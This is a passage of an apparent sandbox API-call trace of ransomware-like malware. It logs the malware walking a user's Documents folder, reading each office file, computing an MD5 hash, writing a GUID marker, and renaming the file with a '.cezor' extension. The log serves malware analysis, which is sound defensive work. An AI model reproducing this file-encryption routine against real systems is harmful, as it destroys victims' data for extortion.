halpmcxz\\documents\\agokm2hlunspkz.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0060.058] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=53376) returned 1 [0060.058] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0060.060] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xd05a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.060] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0060.061] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0xd080, lpOverlapped=0x0) returned 1 [0060.061] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.061] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.061] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.061] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74ea30) returned 1 [0060.062] CryptCreateHash (in: hProv=0x74ea30, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0060.062] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0060.062] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0060.062] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0060.062] GetLastError () returned 0x0 [0060.062] CryptDestroyHash (hHash=0x3038608) returned 1 [0060.062] CryptReleaseContext (hProv=0x74ea30, dwFlags=0x0) returned 1 [0060.062] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xd080, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.063] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0060.063] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0060.063] CloseHandle (hObject=0x5c4) returned 1 [0060.064] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\AGokm2hLuNsPkZ.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\agokm2hlunspkz.pptx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\AGokm2hLuNsPkZ.pptx.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\agokm2hlunspkz.pptx.cezor")) returned 1 [0060.065] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa372c070, ftCreationTime.dwHighDateTime=0x1d4ca09, ftLastAccessTime.dwLowDateTime=0xd0d81740, ftLastAccessTime.dwHighDateTime=0x1d4d364, ftLastWriteTime.dwLowDateTime=0xd0d81740, ftLastWriteTime.dwHighDateTime=0x1d4d364, nFileSizeHigh=0x0, nFileSizeLow=0x1605c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BUziw_klSFTDwvC1Vm.pptx", cAlternateFileName="BUZIW_~1.PPT")) returned 1 [0060.065] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BUziw_klSFTDwvC1Vm.pptx") returned=".pptx" [0060.065] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BUziw_klSFTDwvC1Vm.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\buziw_klsftdwvc1vm.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0060.065] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=90204) returned 1 [0060.065] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0060.067] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x16036, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.067] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0060.068] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0x1605c, lpOverlapped=0x0) returned 1 [0060.068] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.068] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.068] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.068] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74ea30) returned 1 [0060.069] CryptCreateHash (in: hProv=0x74ea30, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0060.069] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0060.069] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0060.069] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0060.069] GetLastError () returned 0x0 [0060.069] CryptDestroyHash (hHash=0x3038608) returned 1 [0060.069] CryptReleaseContext (hProv=0x74ea30, dwFlags=0x0) returned 1 [0060.070] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x1605c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.070] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0060.070] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0060.070] CloseHandle (hObject=0x5c4) returned 1 [0060.071] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BUziw_klSFTDwvC1Vm.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\buziw_klsftdwvc1vm.pptx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BUziw_klSFTDwvC1Vm.pptx.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\buziw_klsftdwvc1vm.pptx.cezor")) returned 1 [0060.073] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d207440, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x192, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0060.073] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\desktop.ini") returned=".ini" [0060.073] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376fe090, ftCreationTime.dwHighDateTime=0x1d4c588, ftLastAccessTime.dwLowDateTime=0x3d125d40, ftLastAccessTime.dwHighDateTime=0x1d4fbf5, ftLastWriteTime.dwLowDateTime=0x3d125d40, ftLastWriteTime.dwHighDateTime=0x1d4fbf5, nFileSizeHigh=0x0, nFileSizeLow=0x177c6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Dtk7xvzoVk_gCAUAkb.xlsx", cAlternateFileName="DTK7XV~1.XLS")) returned 1 [0060.073] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Dtk7xvzoVk_gCAUAkb.xlsx") returned=".xlsx" [0060.073] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Dtk7xvzoVk_gCAUAkb.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\dtk7xvzovk_gcauakb.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0060.073] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=96198) returned 1 [0060.073] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0060.075] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x177a0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.075] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0060.075] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0x177c6, lpOverlapped=0x0) returned 1 [0060.076] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.076] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.076] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.076] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74ea30) returned 1 [0060.077] CryptCreateHash (in: hProv=0x74ea30, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0060.077] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0060.077] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0060.077] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0060.077] GetLastError () returned 0x0 [0060.077] CryptDestroyHash (hHash=0x3038608) returned 1 [0060.077] CryptReleaseContext (hProv=0x74ea30, dwFlags=0x0) returned 1 [0060.078] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x177c6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.078] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0060.078] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0060.078] CloseHandle (hObject=0x5c4) returned 1 [0060.079] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Dtk7xvzoVk_gCAUAkb.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\dtk7xvzovk_gcauakb.xlsx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Dtk7xvzoVk_gCAUAkb.xlsx.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\dtk7xvzovk_gcauakb.xlsx.cezor")) returned 1 [0060.080] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6c2b330, ftCreationTime.dwHighDateTime=0x1d4c014, ftLastAccessTime.dwLowDateTime=0xbc3d37e0, ftLastAccessTime.dwHighDateTime=0x1d5273b, ftLastWriteTime.dwLowDateTime=0xbc3d37e0, ftLastWriteTime.dwHighDateTime=0x1d5273b, nFileSizeHigh=0x0, nFileSizeLow=0x15d9b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="EDFXHniYi.docx", cAlternateFileName="EDFXHN~1.DOC")) returned 1 [0060.081] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\EDFXHniYi.docx") returned=".docx" [0060.081] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\EDFXHniYi.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\edfxhniyi.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0060.081] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=89499) returned 1 [0060.081] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0060.082] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x15d75, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.082] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0060.083] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0x15d9b, lpOverlapped=0x0) returned 1 [0060.084] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.084] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.084] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.084] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74ea30) returned 1 [0060.085] CryptCreateHash (in: hProv=0x74ea30, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0060.085] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0060.085] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0060.085] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0060.085] GetLastError () returned 0x0 [0060.085] CryptDestroyHash (hHash=0x3038608) returned 1 [0060.085] CryptReleaseContext (hProv=0x74ea30, dwFlags=0x0) returned 1 [0060.086] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x15d9b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.086] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0060.086] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0060.086] CloseHandle (hObject=0x5c4) returned 1 [0060.087] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\EDFXHniYi.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\edfxhniyi.docx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\EDFXHniYi.docx.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\edfxhniyi.docx.cezor")) returned 1 [0060.094] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f27c5b0, ftCreationTime.dwHighDateTime=0x1d4ce9d, ftLastAccessTime.dwLowDateTime=0x914cbe20, ftLastAccessTime.dwHighDateTime=0x1d4d551, ftLastWriteTime.dwLowDateTime=0x914cbe20, ftLastWriteTime.dwHighDateTime=0x1d4d551, nFileSizeHigh=0x0, nFileSizeLow=0x10964, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="EGkqtCRNREaQo4XfBL.ods", cAlternateFileName="EGKQTC~1.ODS")) returned 1 [0060.094] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\EGkqtCRNREaQo4XfBL.ods") returned=".ods" [0060.095] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\EGkqtCRNREaQo4XfBL.ods" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\egkqtcrnreaqo4xfbl.ods"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0060.095] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=67940) returned 1 [0060.095] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0060.096] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x1093e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.096] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0060.097] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0x10964, lpOverlapped=0x0) returned 1 [0060.098] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.098] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.098] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.098] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74ea30) returned 1 [0060.098] CryptCreateHash (in: hProv=0x74ea30, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0060.098] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0060.098] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0060.098] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0060.098] GetLastError () returned 0x0 [0060.099] CryptDestroyHash (hHash=0x3038608) returned 1 [0060.099] CryptReleaseContext (hProv=0x74ea30, dwFlags=0x0) returned 1 [0060.099] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x10964, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.099] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0060.099] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0060.099] CloseHandle (hObject=0x5c4) returned 1 [0060.100] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\EGkqtCRNREaQo4XfBL.ods" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\egkqtcrnreaqo4xfbl.ods"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\EGkqtCRNREaQo4XfBL.ods.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\egkqtcrnreaqo4xfbl.ods.cezor")) returned 1 [0060.101] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6d36b00, ftCreationTime.dwHighDateTime=0x1d4d283, ftLastAccessTime.dwLowDateTime=0x18736ac0, ftLastAccessTime.dwHighDateTime=0x1d4d318, ftLastWriteTime.dwLowDateTime=0x18736ac0, ftLastWriteTime.dwHighDateTime=0x1d4d318, nFileSizeHigh=0x0, nFileSizeLow=0xa730, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="G-R5IPPjXNO2pufW-w.pptx", cAlternateFileName="G-R5IP~1.PPT")) returned 1 [0060.101] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\G-R5IPPjXNO2pufW-w.pptx") returned=".pptx" [0060.101] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\G-R5IPPjXNO2pufW-w.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\g-r5ippjxno2pufw-w.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0060.102] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=42800) returned 1 [0060.102] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0060.103] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xa70a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.103] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0060.104] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0xa730, lpOverlapped=0x0) returned 1 [0060.104] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.104] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.104] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.104] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74ea30) returned 1 [0060.105] CryptCreateHash (in: hProv=0x74ea30, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0060.105] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0060.105] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0060.105] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0060.105] GetLastError () returned 0x0 [0060.105] CryptDestroyHash (hHash=0x3038608) returned 1 [0060.105] CryptReleaseContext (hProv=0x74ea30, dwFlags=0x0) returned 1 [0060.106] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xa730, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.106] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0060.106] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0060.106] CloseHandle (hObject=0x5c4) returned 1 [0060.107] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\G-R5IPPjXNO2pufW-w.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\g-r5ippjxno2pufw-w.pptx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\G-R5IPPjXNO2pufW-w.pptx.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\g-r5ippjxno2pufw-w.pptx.cezor")) returned 1 [0060.115] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd78b5160, ftCreationTime.dwHighDateTime=0x1d4e787, ftLastAccessTime.dwLowDateTime=0x50da0080, ftLastAccessTime.dwHighDateTime=0x1d520a3, ftLastWriteTime.dwLowDateTime=0x50da0080, ftLastWriteTime.dwHighDateTime=0x1d520a3, nFileSizeHigh=0x0, nFileSizeLow=0x170c5, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="k0bYHnrNfY0Z01.docx", cAlternateFileName="K0BYHN~1.DOC")) returned 1 [0060.115] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\k0bYHnrNfY0Z01.docx") 